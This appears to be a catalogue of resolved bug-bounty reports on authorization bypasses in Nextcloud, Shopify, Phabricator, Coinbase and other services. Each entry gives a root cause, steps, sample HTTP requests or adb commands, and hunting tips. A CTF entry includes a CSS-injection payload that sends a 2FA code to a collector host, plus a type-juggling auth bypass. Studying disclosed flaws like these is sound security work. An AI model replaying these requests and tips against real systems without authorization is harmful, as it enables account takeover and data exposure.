Specimen #145950 · nextcloud · awarded · 10 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
The WebDAV endpoint enforced permissions on normal writes but not on the COPY method. A user invited to a share with read-only (no edit) permission could COPY files into it (e.g. via the Android app), creating new files where they should have none.
Method
- Create a folder and share it to a victim user with no edit privilege
- As the invited user, use the client's copy feature (COPY) to place a file into the read-only share
- The file appears in the share — write achieved without edit permission
COPY /remote.php/dav/files/<user>/source.txt HTTP/1.1
Destination: /remote.php/dav/files/<user>/readonly-share/dest.txt
# permission on COPY not enforced (CVE-2016-9461)
Insight — Authorization is often enforced per-endpoint but not per-HTTP-method. When you have read-only access, try the less-common verbs the app supports (COPY, MOVE, PUT, PROPPATCH, LOCK for WebDAV; PATCH/PUT/DELETE for REST). Access control that guards the 'obvious' write path frequently misses these.
Real-world example
Scope escape via special path token: share entire root by setting path='.'
◆ Info
Specimen #889795 · nextcloud · none · 9 votes · resolved
Program nextcloudSurface api
Root cause
The Nextcloud Talk/files_sharing share API accepts a path parameter without validating it stays within shareable folders. Setting path='.' resolves to the account's root folder, sharing everything, and the owner's UI shows no shared indicator, hiding the exposure.
Method
- Start a share of any folder via the share dialog and capture the POST /apps/files_sharing/api/v1/shares request
- Change path from "/<folder>" to "." (or other special tokens) and send
- Recipient sees the entire root and all future files; owner sees no shared icon
POST /ocs/v2.php/apps/files_sharing/api/v1/shares HTTP/1.1
Content-Type: application/json;charset=utf-8
{"shareType":10,"path":".","shareWith":"<user>"}
Insight — Test special/relative path tokens ('.', '/', '..', '') anywhere a resource path is supplied. Handlers often join them to a base and silently resolve to the root/parent, over-sharing scope. Bonus: the missing shared-indicator makes it a covert exposure.
Real-world example
Authz enforced only on the /download action, not the base resource
◆ Info
Specimen #13959 · automattic · awarded · 9 votes · resolved
Program automatticSurface webTag account-takeover
Root cause
A password-protected file blocks the /download route for other users, but the base file URL (without /download) serves the content and metadata without any access check.
Method
- As user X upload a password-protected file; copy its download link (.../files/<id>/download)
- Log in as unrelated user Y
- Request the download URL -> Forbidden
- Strip the /download suffix (.../files/<id>/) -> content + EXIF metadata returned
https://TARGET/files/<id>/download -> 403
https://TARGET/files/<id>/ -> 200 (content + EXIF leak)
Insight — Access control is often bolted onto one action verb. For any protected object, request its sibling routes: strip/append /download, /raw, /view, /edit, change the trailing segment - the object controller may not re-check permissions.
Real-world example
Mobile site version missing access-control checks
◆ Info
Specimen #78781 · ok · awarded · 9 votes · resolved
Program okSurface webTag account-takeover
Root cause
The mobile web version (m.ok.ru) does not enforce the access-control checks present on the main site, so restricted private-group videos are reachable via direct link.
Method
- Identify a resource restricted on the main site (private group video)
- Request the equivalent handler on the mobile host m.ok.ru with the resource IDs
- Access is granted without the membership/permission check the desktop site enforces
http://m.ok.ru/dk?st.cmd=altGroupMovieComments&st.ord=off&st.groupId=<gid>&st.sbj=<vid>
Insight — Re-test every access-control finding against alternate hosts/surfaces: m.* mobile sites, legacy endpoints, API vs web, AMP. Authorization is frequently re-implemented (and forgotten) on the mobile stack.
Real-world example
Datafeed endpoint bypasses UI permission checks (PHI leak)
◆ Info
Specimen #141541 · drchrono · awarded · 8 votes · resolved
Program drchronoSurface webTag account-takeover
Root cause
A staff user with no permissions is blocked in the UI, but the underlying wdcalendar datafeed endpoint performs no authorization check and returns the full calendar with patient PHI (names, DOB, billing, notes).
Method
- Create a doctor account and add a staff member with no permissions
- Proxy the doctor session and capture the wdcalendar datafeed URL
- Log in as the no-permission staff member
- Request the captured datafeed URL directly -> full calendar/PHI returned
GET https://TARGET/wdcalendar/datafeed/<office_id>?method=list&showdate=5/27/2016&viewtype=examroom&timezone=0&doctors[]=<provider_id>
Insight — UI-level permission gating without backend authorization is a recurring pattern. Capture the JSON/datafeed/report endpoints a privileged user hits, then replay them with a stripped-permission account - feeds, exports and reporting URLs are the usual blind spots.
Real-world example
Deprecated/legacy API skips the object view policy
◆ Info
Specimen #1584409 · phabricator · awarded · 7 votes · resolved
Program phabricatorSurface api
Root cause
A deprecated API (owners.query) does not enforce the object's view policy, so a user can read metadata about packages they should not see (name, description, owner/repository PHIDs, restricted paths).
Method
- Enumerate legacy/deprecated API methods still enabled
- Call the deprecated method for an object you lack view permission on
- Receive restricted fields the modern *.search API would deny
POST /api/owners.query (deprecated) -> returns packages the modern policy would hide
Insight — Deprecated/v1 endpoints are prime authz-bypass hunting ground: they predate current policy enforcement and are often left enabled. Diff old vs new API method behavior for the same object as an unauthorized user.
Real-world example
Missing owner check lets any shared user revoke others' access (BFLA)
◆ Info
Specimen #85720 · enter · USD 250 · 6 votes · resolved
Program enterSurface webTag account-takeover
Root cause
The 'delete share' action on a shared wallet has no server-side check that the caller is the wallet owner, so any user the wallet is shared with can remove any other shared user by supplying their user ID.
Method
- Wallet owned by A is shared with B and C
- As B, call the share-delete endpoint with C's user ID
- Server processes it with no owner/authorization check, removing C
POST /dashboard/account/<accountID>/sharing/delete HTTP/1.1
Host: wallet.romit.io
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Cookie: <B's session>
bankUserId=<User C's ID>&_csrf=<token>
Insight — On any multi-user/shared-resource management action (share, invite, remove, transfer), test it from a low-privilege collaborator against a peer's ID. Authorization for privileged actions must check the actor's role on that specific resource, not merely that they belong to it.
Real-world example
Full app-takeover chain: .git leak -> PHP JSON type-juggling auth -> open-redirect SSRF -> PHP array template injection privesc -> CSS-injection 2FA exfil
◆ Info
Specimen #894170 · h1-ctf · none · 5 votes · resolved
Program h1-ctfSurface webChain .git+log cred leak -> hash==0 auth bypass -> open-rediTag ssrfTag open-redirect
Root cause
A chain of independent access-control and validation flaws: exposed .git + logs leak creds; a JSON auth token is validated with PHP loose comparison (hash==0) so hash:0 passes; a whitelisted open-redirect enables GET SSRF to an internal host; a PHP array-typed 'template' param renders multiple templates in one response enabling a forced-request self-privesc; and an attacker-controlled CSS URL (app_style) exfiltrates a hidden 2FA code via attribute-selector CSS injection.
Method
- Content-discover /.git/config and a base64 request log (bp_web_trace.log) to recover credentials.
- Bypass the JSON-cookie signature by type-juggling: set {"account_id":"...","hash":0} - PHP 'anyhash'==0 is true.
- Turn a whitelisted open-redirect (redirect?url=) into GET-only SSRF via path traversal in account_id to reach an IP-restricted internal host.
- On the staff app, set profile_avatar to CSS class names ('upgradeToAdmin tab1..tab4') and pass template[]=login&template[]=ticket (array) so multiple templates render and an admin-report bot triggers the upgrade on your behalf.
- Exfiltrate the hidden 2FA code_1..code_6 by injecting an attacker CSS file (app_style param) using input[name=code_N][value^=X]{background:url(...)} selectors.
# PHP JSON type-juggling auth bypass (cookie is base64 JSON)
{"account_id":"F8gHiqSdpK","hash":0}
# open-redirect -> GET SSRF via account_id
{"account_id":"../../redirect?url=https://internal.TARGET/#","hash":0}
# PHP array param renders multiple templates + forced privesc request
/?template[]=login&username=victim&template[]=ticket&ticket_id=3582#tab4
# CSS injection to steal a hidden 2FA field, char by char
input[name="code_1"][value^="a"] ~ * { background-image: url("https://COLLAB/1/a"); }
Insight — Reusable primitives to carry to real targets: (1) hash/signature JSON params -> try type-juggling to 0/[]; (2) whitelisted redirect endpoints -> GET SSRF pivot; (3) framework params that accept param[]=... arrays behave differently (PHP renders 'Array', multi-value templates); (4) any app_style/theme/callback URL is a CSS-injection sink to exfiltrate hidden CSRF/2FA fields.
Real-world example
Owner-only setting modifiable by lower role via direct API call (UI-hidden, no server-side role check)
◆ Info
Specimen #56626 · shopify · USD 1000 · 5 votes · resolved
Program shopifySurface webChain privesc to modify login services → attacker-controlled GooglTag oauthTag account-takoever
Root cause
The Login Services section is only shown to account owners in the UI, but the underlying update endpoint enforces no owner-level authorization, so any full-access staff member can POST the update directly and enable a Google Apps OAuth login domain.
Method
- As a lower-privilege staff/admin user, note which settings the UI hides from you
- Capture (from a higher-priv session or by guessing the RESTful route) the update request for that setting
- Replay it with the staff user's own cookie + CSRF token; the change succeeds
POST /admin/login_services/google_apps/update HTTP/1.1
Host: shop.myshopify.com
Content-Type: application/x-www-form-urlencoded
utf8=%E2%9C%93&_method=patch&authenticity_token=VALID&shop%5Bgoogle_apps_login_enabled%5D=1&shop%5Bgoogle_apps_domain%5D=attacker.com&commit=Save
Insight — Hiding a control in the UI is not authorization. For every setting your role cannot see, try the corresponding update endpoint directly with your own token. Owner/admin-only settings are frequently missing a server-side role check. Enabling an OAuth login domain here = account takeover of the store.
Real-world example
No-scope API token silently carries all public scopes
◆ Info
Specimen #122050 · mapbox · 200 · 4 votes · resolved
Program mapboxSurface apiTag account-takeover
Root cause
A token created with 'No scopes' was actually granted the default public scope set (styles:read, styles:tiles, fonts:read), violating least privilege.
Method
- Create an API token with zero scopes selected
- Call a scoped endpoint (e.g. GET /styles/v1/<user>?access_token=<token>)
- Observe 200 with data despite the token having 'no scope'
GET /styles/v1/USER?access_token=NO_SCOPE_TOKEN HTTP/1.1
Host: api.mapbox.com
Insight — Always test 'minimal'/'no-scope' credentials against privileged endpoints; default token grants often include implicit read scopes the UI hides.
Real-world example
Owner-only action executable by staff via forced raw request
◆ Info
Specimen #98151 · shopify · none · 4 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The UI restricted removing the online store channel to the owner, but the server enforced no equivalent check, so a full-access staff member could POST the delete (and re-add) directly.
Method
- As a non-owner staff account, capture the channel-delete request
- Replay POST /admin/channels/<id> with _method=delete and your CSRF token
- Channel is removed despite the UI forbidding it; re-add via the provided form
POST /admin/channels/<Online_store_channel_id> HTTP/1.1
Content-Type: application/x-www-form-urlencoded
_method=delete&authenticity_token=<token>
Insight — When the UI says 'only the owner can do X', replay the raw state-changing request as a lower-privileged role; server-side authorization is frequently missing behind UI gating.
Real-world example
Revoked staff retains capability via pre-generated link and unauthenticated endpoint
◆ Info
Specimen #99374 · shopify · awarded · 4 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
The Amazon MWS signup link generated for a staff member with 'settings' access remained valid after the staff account was deleted, and the callback endpoint (app.shopify.com/services/ping/amazon_mws) did not validate admin permissions, so a removed user could keep attaching fulfillment accounts.
Method
- As staff with settings access, open /admin/fulfillment_services/signup_for_mws and save the resulting Amazon registration URL
- Have the owner delete the staff account
- Later, open the saved URL, authorize, and the account is (repeatedly) added with no permission check
/admin/fulfillment_services/signup_for_mws -> saved amazon register URL reused post-deletion
callback: https://app.shopify.com/services/ping/amazon_mws?shop_id=<Shop_id>
Insight — Deprovisioning must invalidate outstanding capability links/tokens; test whether saved privileged action links and their callback endpoints still work after the account is removed.
Real-world example
Complete/edit another user's profile via predictable completion URL
◆ Info
Specimen #123731 · veris · none · 4 votes · resolved
Program verisSurface webTag account-takeover
Root cause
The profile-completion flow (/portal/complete-profile/XXXXX/) authorized on the URL token/id alone, so any other authenticated user who navigated to a different user's completion URL could submit and later edit that victim's profile.
Method
- Register user A, verify, note the /portal/complete-profile/XXXXX/ URL, do not complete
- Register and log in as user B
- Navigate to A's completion URL and submit values -> A's profile is created/edited on their behalf
/portal/complete-profile/XXXXX/ (accessed and submitted while logged in as a different user)
Insight — Onboarding/completion URLs keyed only by an id often lack object-level authorization; test them cross-account.
Real-world example
Path-based auth bypass by appending /index.php
◆ Info
Specimen #145730 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
Authentication was enforced on the /admin path but not on the canonical file it maps to; requesting /admin/index.php reached the admin panel unauthenticated.
Method
- Find a protected path that returns auth challenge (e.g. /admin)
- Append the underlying resource (/index.php), or add trailing slash/;/%2e variants
- Access the panel unauthenticated
https://target/admin/index.php (bypasses the auth gate on /admin)
Insight — Path-scoped auth (webserver location/rewrite rules) often misses alternate representations of the same resource; try /index.php, trailing slashes, path-parameter and encoding variants.
Real-world example
Android app-lock (passcode) bypass via alternate intent action + device-time rollback
◆ Info
Specimen #747726 · nextcloud · none · 3 votes · resolved
Program nextcloudSurface mobile-androidTag account-takeover
Root cause
The app enforces its passcode/device-credential lock only on the normal launch path and only when a wall-clock timeout has elapsed. Launching an internal Activity with a different intent action skips the lock, and because the timeout uses System.currentTimeMillis() (attacker-controllable), rolling the device clock back to the app-close time defeats it.
Method
- Start the file-display Activity via ADB; it opens and prompts for the lock.
- Without closing it, re-launch the same Activity with a different intent action (android.intent.action.SEARCH) — this time the lock prompt is not shown and the app is usable.
- Alternate method: note the time the locked app was last closed, then set the device clock back to that time; reopening the app falls inside the 5s timeout window and does not prompt.
adb shell am start com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity
adb shell am start -a android.intent.action.SEARCH com.nextcloud.client/com.owncloud.android.ui.activity.FileDisplayActivity
# Vulnerable timeout check (defeated by clock rollback):
# (System.currentTimeMillis() - timestamp) > PASS_CODE_TIMEOUT
Insight — For any mobile/app lock: enumerate every exported/launchable Activity and try alternate intent actions/deep-links to reach post-lock screens directly; and check whether the lock timeout uses wall-clock time (currentTimeMillis) which the user/attacker can roll back, versus a monotonic clock (SystemClock.elapsedRealtime).
Real-world example
Missing authz on object sub-action (mirror delete)
◆ Info
Specimen #38965 · phabricator · $300 · 3 votes · resolved
Program phabricatorSurface webTag account-takeover
Root cause
A destructive sub-action controller (mirror delete) enforced no permission check even though editing the parent object was correctly restricted; access control applied to the object but not to every action on it.
Method
- As admin create a repository/object
- Confirm a low-priv 'guest' user cannot access the edit page (/diffusion/TEST/edit/)
- As guest hit the delete-sub-action URL directly
GET http://TARGET/diffusion/TEST/mirror/delete/1/
Insight — When the main edit/view of an object is access-controlled, individually test every sub-action (delete/add/mirror/settings) by direct URL; framework routes often protect the parent controller but forget child controllers.
Real-world example
Replay old privileged request after permission downgrade
◆ Info
Specimen #99969 · algolia · $200 · 3 votes · resolved
Program algoliaSurface apiTag account-takeover
Root cause
Revoking a user's UI permission did not revoke the ACL on their still-valid API key; the low-priv user could replay the previously-allowed index move/rename request and it succeeded.
Method
- Grant a user full access; user creates an index
- Admin revokes index-configuration permission (UI options disappear)
- User replays the old move/rename POST with their still-valid API key
POST /1/indexes/<index>/operation?x-algolia-api-key=<key>&x-algolia-application-id=<app>
{"operation":"move","destination":"newname"}
Insight — UI hiding an action != server-side revocation. After any privilege downgrade, replay the previously-authorized API calls (and reuse the same API key/token) to test whether ACLs actually propagate to credentials.
Real-world example
Approval action authorized for wrong party
◆ Info
Specimen #47384 · mobilevikings · none · 3 votes · resolved
Program mobilevikingsSurface webTag account-takeover
Root cause
An approval request (add shared-SIM payment method) could be approved from the sender's own session using the internal approve URL, even though only the recipient was meant to approve; the confirm action's authz was not bound to the intended approver.
Method
- User B sends an approval request to user A (shared SIM topup method)
- B opens the internal request page and uses its approve link in B's own session
- Request is approved by B instead of A
GET /en/account/easypay/request/287740/approve/1036392/
# works in the sender's (B) session; the email link 404s but the request-page link approves
Insight — For any two-party approve/confirm/accept flow, replay the confirmation action in each role's session (initiator, recipient, unrelated third user). The initiator being able to self-approve breaks the trust boundary.
Real-world example
Store password protection bypass via alternate JSON endpoint
◆ Info
Specimen #93394 · shopify · awarded · 3 votes · resolved
Program shopifySurface web
Root cause
A secondary API/channel endpoint (buy_button product JSON) served full product data without enforcing the storefront password protection, exposing hidden/unpublished product details.
Method
- Confirm the storefront is password-protected (front page blocks)
- Request the product JSON via the buy_button channel using the product title/handle
- Full product description, pricing and variants returned unauthenticated
GET http://SHOP.myshopify.com/<title>.json?channel=buy_button
Insight — When a UI is access-gated, enumerate alternate representations of the same resource: /<x>.json, ?channel=/format= params, oEmbed/widget/API endpoints. Auth is often enforced on the HTML route only.
Real-world example
Public 'hash' reused as authorization token to tag any user's photo
◆ Info
Specimen #66235 · vkcom · awarded · 3 votes · resolved
Program vkcomSurface webChain hash leak -> reuse as authz token -> forced state chan
Root cause
VK exposes a per-photo action 'hash' via a publicly readable endpoint, then accepts that hash as the only authorization for a state-changing geo-tag action, so anyone can retrieve the hash and add a geo place-tag to a victim's photo.
Method
- Fetch al_places.php?act=show_photo_place for the victim's photo and read the hash from the page
- Call al_photos.php?act=do_edit_place with that hash, the photo id and coordinates
- Get the victim to open the link so the tag is applied
GET /al_places.php?act=show_photo_place&al=1&edit=1&photo=OWNER_PHOTOID -> read hash
GET /al_photos.php?act=do_edit_place&al=1&hash=HASH&lat=..&long=..&photo=OWNER_PHOTOID
Insight — Anti-CSRF/authz 'hash' tokens that are readable through another endpoint provide no protection; check whether a token gating a write action is retrievable by the attacker for arbitrary object IDs.
Real-world example
Admin JSON endpoint readable by a no-rights account leaks device push tokens
◆ Info
Specimen #97535 · shopify · awarded · 3 votes · resolved
Program shopifySurface apiTag account-takeover
Root cause
/admin/mobile_devices.json had no per-permission authorization, so a limited staff account with no rights could read all registered mobile devices and their SNS push tokens.
Method
- Create/limit staff account A with no permissions; register devices under account B.
- From account A, GET /admin/mobile_devices.json.
- Receive the full device list including SNS tokens.
GET /admin/mobile_devices.json # as a no-rights limited account
Insight — Enumerate .json admin endpoints with a deliberately deprivileged account; many are gated only by 'is logged in', not by the object/feature permission, leaking tokens and internal data.
Real-world example
List endpoint leaks a record the per-object endpoint forbids
◆ Info
Specimen #96890 · shopify · USD 500 · 3 votes · resolved
Program shopifySurface api
Root cause
The per-object endpoint /admin/users/{id}.json correctly returns 'Forbidden from viewing user' for the shop owner, but the collection endpoint /admin/users.json returns all users with all fields, leaking the owner's profile (incl. last-seen IP) to full-access admins.
Method
- Note an object the per-item endpoint denies you (owner profile here)
- Request the corresponding list/collection endpoint (.../users.json)
- The denied record is present in the array with full fields
GET /admin/users/{OWNER_ID}.json -> {"error":"Forbidden from viewing user"}
GET /admin/users.json -> full array incl. shop owner + last IP
Insight — Authorization is often enforced on the singular endpoint but forgotten on the plural/collection one (and vice versa). For any object you can't read directly, always try the list/search/export/bulk endpoint that includes it.
Real-world example
Stale authorization: revoked user still edits object via direct PUT
◆ Info
Specimen #119221 · security · USD 500 · 3 votes · resolved
Program securitySurface api
Root cause
After a user's team access is revoked, the activity-edit endpoint PUT /activities/{id} no longer re-checks current team membership, so the removed user can still edit internal comments they previously created.
Method
- As a member, create/observe an editable object (internal comment activity) and note its id
- Have your team access revoked
- Send PUT /activities/{id} with the edited body using your still-valid session; edit succeeds
PUT /activities/815794 HTTP/1.1
Host: hackerone.com
Content-Type: application/json
{"id":815794,"is_internal":true,"editable":true,"type":"Activities::Comment","message":"bugtested","markdown_message":"<p>bugtested</p>"}
Insight — Test authorization after a permission change, not just before: capture an object id while privileged, get access removed, then replay write/edit/delete on that object. Endpoints frequently check membership at creation/view time but not at edit time.
Real-world example
Android app-lock (PIN) bypass via exported activities
◆ Info
Specimen #50884 · whisper · USD 100 · 3 votes · resolved
Program whisperSurface mobile-android
Root cause
Sensitive screens (Inbox, Notifications) are implemented as exported Activities, so any app on the device can launch them directly with an intent, bypassing the app's 4-digit PIN lock that only gates the normal launch flow.
Method
- Enumerate exported components (drozer / jadx AndroidManifest) of the target app
- Identify sensitive activities that display protected data (WInboxActivity, WNotificationsActivity)
- From another app / adb, start the exported activity directly; it renders without the PIN prompt
adb shell am start -n sh.whisper/sh.whisper.WInboxActivity
adb shell am start -n sh.whisper/sh.whisper.WNotificationsActivity
Insight — An app-level PIN/biometric lock is worthless if the protected screens are exported Activities reachable by intent. Always dump the manifest for android:exported=true on data-bearing activities and try launching them directly to bypass client-side gating.
Real-world example
Cross-policy object mutation via VCS autoclose side channel
◆ Info
Specimen #220909 · phabricator · none · 3 votes · resolved
Program phabricatorSurface web
Root cause
The commit-message autoclose feature closes a referenced task by ID without re-checking the pusher's view/edit permission or Space membership, so a user who can push to any autoclose-enabled repo can close arbitrary restricted tasks.
Method
- As a low-priv user with push access to any autoclose-enabled repository, commit a message using autoclose syntax referencing a task ID you cannot see.
- Push the commit.
- The restricted/hidden task is closed despite policy and Space restrictions.
git commit -m "Fixes T123" # autoclose syntax referencing a task outside your view/edit policy
Insight — Secondary features that act on objects by ID (VCS autoclose, webhooks, bulk actions, notifications) frequently skip the per-object ACL check the primary UI enforces. Enumerate such indirect mutation paths and test them against objects you can't normally touch.
Real-world example
Sensitive export on S3 accessible unauthenticated by URL
◆ Info
Specimen #109815 · coinbase · $200 · 2 votes · resolved
Program coinbaseSurface cloudTag cloud-aws
Root cause
CSV transaction-report exports were served from an S3 bucket where the URL acted as the sole capability; the object was reachable without any session, so anyone with the URL (e.g. from browser history/logs) could download another user's financial report.
Method
- Generate a report export and capture its S3 URL
- Open the URL with no session/cookies (fresh browser/incognito)
- Object downloads, confirming access control is URL-only, not session-bound
GET https://<bucket>.s3.amazonaws.com/<longtoken>/Coinbase-...-Transactions-Report.csv
# no auth cookies required
Insight — For any 'download report/export/invoice' feature, test the artifact URL logged-out and cross-user. Long random tokens are not access control — they leak via history, Referer, logs, and proxies. Prefer signed, expiring, session-bound URLs.
Real-world example
Self-invite to restricted group (missing inviter authz)
◆ Info
Specimen #46379 · nearby · none · 2 votes · resolved
Program nearbySurface apiTag account-takeover
Root cause
The group-invite API did not verify that the inviting user was authorized to invite; an attacker could craft an invite with a target group ID and invite themselves into an owner-invite-only group.
Method
- Locate the target group ID (owner-invite-only)
- Call the invites API forging yourself as invitee with that group ID
- Receive/accept the invite and join without owner authorization
POST /api/groups/invites { group_id: <target>, invitee: <self> }
Insight — Invite/join/membership endpoints frequently trust the client to assert who may invite. Test self-invite and cross-group invite by tampering group_id and inviter/invitee fields; the server must verify the caller's authority over that group.
Real-world example
Revoked/banned access not propagated to notification subsystem
◆ Info
Specimen #271506 · security · awarded · 139 votes · resolved
Program securitySurface webTag account-takeover
Root cause
After being banned from a private program the researcher kept receiving that program's private email updates (scope changes, beta access, promo codes); the ban state was enforced on the platform but not on the email/notification pipeline.
Method
- Get access to a private program (become participant)
- Get banned/removed
- Observe you still receive private program emails/notifications
Insight — When access is revoked, test whether secondary channels (email digests, RSS, exported data, cached API tokens, webhooks) still leak the resource. State changes rarely propagate everywhere.
Real-world example
UI-only authorization: backend not enforcing custom permissions
◆ Info
Specimen #3577145 · aws_vdp · none · 59 votes · resolved
Program aws_vdpSurface cloudTag cloud-aws
Root cause
Authorization for AWS Quick Suite (QuickSight) AI chat agents was enforced only by hiding front-end UI; the backend APIs never checked the custom-permissions denial, so requests still succeeded.
Method
- Apply admin custom permission that 'disables' chat agents for a user
- Observe UI hides the feature
- Replay the underlying chat-agent API request captured before restriction (or leave the window open)
- Interact with the default SYSTEM chat agent (predictable resource name) despite the deny
Insight — When an admin 'disable/hide' setting removes a feature from the UI, always replay the raw API call directly. Client-side-only enforcement means the capability is still reachable. Look for standardized/default resources (here the SYSTEM agent) that exist regardless of user creation.
Real-world example
Share password change does not revoke existing access
◆ Info
Specimen #146133 · nextcloud · 50 · 19 votes · resolved
Program nextcloudSurface web
Root cause
Once a user has authenticated to a password-protected share, changing that share's password does not invalidate the existing access grant/session, so the old viewer keeps access (CVE-2018-16464).
Method
- Owner creates a password-protected share and gives it to UserB
- UserB opens the share with the password
- Owner changes the share password
- UserB still accesses the share without re-authenticating
Insight — Rotating a resource credential (share password, protected-link password) should force re-auth for everyone. Test whether existing sessions/grants survive a credential change — they frequently do.
Real-world example
Realtime pub/sub channel authz ignores device-confirmation state
◆ Info
Specimen #100186 · coinbase · USD 500 · 8 votes · resolved
Program coinbaseSurface webTag account-takeover
Root cause
The Pusher realtime channel authorizes on the session alone and does not consider device confirmation; a valid session on an unconfirmed device stays subscribed and receives live transaction notifications (including wallet IDs).
Method
- Authenticate to get a valid session on an unconfirmed device
- Subscribe to the user's Pusher channel (tied to the session)
- Receive live event updates - incoming transactions, wallet ids - despite the device being unconfirmed
Insight — Realtime/websocket/pub-sub channels must enforce the SAME authorization state machine as REST, including step-up states (device confirmation, MFA). Test that a partially-trusted session cannot subscribe to sensitive channels, and that state changes revoke existing subscriptions.
Real-world example
Report invitation link not bound to intended recipient
◆ Info
Specimen #123420 · security · 500 · 4 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Report/mediation invitation links were valid for anyone who possessed the link, not tied to the intended recipient's identity, so an inadvertently-forwarded link granted access to the report.
Method
- Obtain a mediation/report invitation link intended for another party (e.g. leaked in a forwarded support email)
- Open the link with any account before the intended recipient consumes it
- Gain access to the report as an unintended audience
Insight — Any capability/invitation link must bind to the intended user (or require the recipient to authenticate as the invited identity) before it is consumable; unbound links are bearer tokens.
Real-world example
TOCTOU authorization: action authorized at form-open survives mid-flow privilege revocation
◆ Info
Specimen #21210 · mavenlink · awarded · 3 votes · resolved
Program mavenlinkSurface web
Root cause
The invite action is authorized when the user opens the invite console (while still privileged); the actual submit is not re-checked, so if the user's privilege is revoked between opening the form and submitting, the invite still succeeds.
Method
- As a privileged user (Team Lead), open the invite console but do not submit
- In an admin session, downgrade that user's role and remove invite permission
- Return to the still-open console and submit the invite; it completes despite the user no longer being authorized
Insight — Race the permission check: open a privileged form/flow, have your rights revoked (or revoke a target's), then complete the pending action. Servers that authorize on page/form load but not on the final mutating request are vulnerable. Two-browser setups expose these easily.